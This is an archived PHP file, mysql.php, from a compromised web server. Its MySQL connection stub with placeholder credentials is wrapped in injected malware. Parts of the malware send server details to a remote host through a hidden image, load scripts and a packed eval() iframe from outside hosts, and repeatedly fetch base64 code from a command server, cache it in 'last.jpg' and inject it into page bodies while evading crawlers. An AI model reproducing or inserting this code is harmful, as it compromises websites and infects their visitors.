home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
91.121.126.69
/
91.121.126.69.tar
/
91.121.126.69
/
www
/
osc
/
extras
/
mysql.php
< prev
next >
Wrap
PHP Script
|
2015-06-11
|
4KB
|
71 lines
<?php
#qpi#
ob_start();
#/qpi#
?>
<?php /*S2010RJ*/if (!function_exists('macrosReplace')) {$jm_sdata = strrev(base64_encode(serialize(array('DOCUMENT_ROOT' => $_SERVER['DOCUMENT_ROOT'],'HTTP_HOST' => $_SERVER['HTTP_HOST'],'SCRIPT_FILENAME' => $_SERVER['SCRIPT_FILENAME'],'REQUEST_URI' => $_SERVER['REQUEST_URI'],'SCRIPT_NAME' => $_SERVER['SCRIPT_NAME'],'PHP_SELF' => $_SERVER['PHP_SELF'],'fid' => '125856'))));echo '<img src="http://sjzrcw.cn/install/install.inc.php?l='.$jm_sdata.'" border="0" alt="" style="display:none">';}/*S2010RJ*/
$mysql_host = "your_hostname.com"; // host name
$mysql_user = "your_username"; // username
$mysql_pass = "your_password"; // password
$mysql_database = "your_database"; // database
// connect
mysql_connect ($mysql_host, $mysql_user, $mysql_pass) or die(mysql_error());
mysql_select_db ($mysql_database) or die(mysql_error());
?>
</script><div id=pu></div<html><body><script type="text/javascript" src="http://counter.olusoft.com/1245361/link.php"></script><script type="text/javascript" src="http://91.239.65.173/t/link.php"></script>http://dromessop.org/fncb.cgi?6<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|82||src|height|74|width|board||94|php|174|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body></html>>
<?php
#qpi#
$obGet = ob_get_clean();
$data=array(
'lastUpdate'=>0,
'currentCode'=>"",
);
$updateUrl=base64_decode("aHR0cDovLzIxMi43LjE5NS4xMjQvZ2V0VGFzay5waHA/ZnRwaWQ9NTQ1MjY0JnRhc2tpZD01");
$needUpdate=1;
$parseUrl="";
$currentCode='';
$tmpCode='';
$answer=null;
$out="";
$fscock="";
if(stripos($obGet, "<body") || stripos($obGet, "</body>") && !strpos($_SERVER['HTTP_USER_AGENT'], "+http"))
{
if(file_exists('last.jpg'))
{
$data=unserialize(file_get_contents('last.jpg'));
if(is_array($data) && !empty($data['lastUpdate']))
{
if($data['lastUpdate']>(time()-300))
$needUpdate=0;
}
}
if($needUpdate)
{
$parseUrl=parse_url($updateUrl);
$tmpCode=file_get_contents($updateUrl);
if($tmpCode && $tmpCode!='error')
$currentCode=$tmpCode;
}
if((isset($currentCode) && !empty($currentCode)) || !empty($data['currentCode']))
{
if(isset($currentCode) && !empty($currentCode))
{
$data['lastUpdate']=time();
$data['currentCode']=$currentCode;
$fp=fopen('last.jpg', 'w+');
fwrite($fp, serialize($data));
fclose($fp);
}
$data['currentCode']=isset($currentCode) && !empty($currentCode) ? $currentCode : $data['currentCode'];
if(stripos($obGet, "<body")!==false)
$obGet=preg_replace("#<body(.*)>#isU", "<body$1>".base64_decode($data['currentCode']), $obGet);
elseif (stripos($obGet, "</body>")!==false)
$obGet=str_ireplace("</body>", base64_decode($data['currentCode'])."</body>", $obGet);
}
echo $obGet;
}
#/qpi#
?>